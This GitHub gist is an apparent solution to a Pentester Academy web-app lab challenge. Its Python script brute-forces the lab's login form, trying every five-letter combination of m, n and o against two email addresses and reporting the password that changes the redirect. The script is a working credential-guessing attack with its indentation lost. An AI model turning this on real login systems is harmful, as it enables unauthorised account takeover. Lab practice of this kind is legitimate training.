Skip to content

Instantly share code, notes, and snippets.

@yesecurity
Last active December 23, 2015 00:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yesecurity/6553134 to your computer and use it in GitHub Desktop.
Save yesecurity/6553134 to your computer and use it in GitHub Desktop.
SecurityTube WAP_Challenge2
from threading import Thread
import itertools
import requests
locat = "http://pentesteracademylab.appspot.com/lab/webapp/auth/1/login"
listp = []
a = list(itertools.product(['m','n','o'], repeat = 5))
for e in a:
a = ''.join(e)
listp.append(a)
def brute(user):
for p in listp:
url = "http://pentesteracademylab.appspot.com/lab/webapp/auth/1/loginscript?email="+user+"&password="+p
r = requests.head(url)
loc = (r.headers['location'])
if loc != locat:
print "Location = " + loc
print "Email = " + user
print "Password = " + p
exit(0)
def main():
users = ['nick@PentesterAcademy.com' , 'admin@PentesterAcademy.com']
for us in users:
try:
user = us
Thread(target = brute , args = (user,)).start()
except:
pass
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment